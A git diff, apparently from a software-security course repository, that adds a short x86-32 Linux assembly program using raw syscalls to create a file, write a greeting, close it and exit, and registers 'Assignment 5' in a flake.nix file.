https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +section .text +global _start +_start: + call _open ; open file + call _write ; write to file + call _close ; close file + call _exit ; exit without errors + +; https://www.man7.org/linux/man-pages/man2/open.2.html +_open: + mov eax, 0x05 ; syscall number for 'open' + mov ebx, path ; pointer to the path string + mov ecx, O_CREAT ; open the file if it doesn't exist + xor ecx, O_WRONLY ; open the file in write-only mode + mov edx, S_IRUSR ; permissions for the file + int 0x80 ; call kernel + +; https://man7.org/linux/man-pages/man2/write.2.html +_write: + mov ebx, eax ; file descriptor returned by 'open' + mov eax, 0x04 ; syscall number for 'write' + mov ecx, greeting ; pointer to the greeting message + mov edx, length ; length of the greeting message + sub edx, 0x01 ; length of the greeting message without null byte + int 0x80 ; call kernel + +; https://man7.org/linux/man-pages/man2/close.2.html +_close: + mov eax, 0x06 ; syscall number for 'close' + int 0x80 ; call kernel + +; https://man7.org/linux/man-pages/man2/exit.2.html +_exit: + mov eax, 1 ; syscall number for 'exit' + mov ebx, 0 ; exit status + int 0x80 ; call kernel +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; diff --git a/flake.nix b/flake.nix index 122c318..cebe99d 100644 --- a/flake.nix +++ b/flake.nix @@ -6,6 +6,7 @@ outputs = { self, nixpkgs }: let assignments = [ "Assignment 4 - Protokollsicherheit (Praxis)" + "Assignment 5 - Software Security - Teil 1" ]; forAllSystems = function: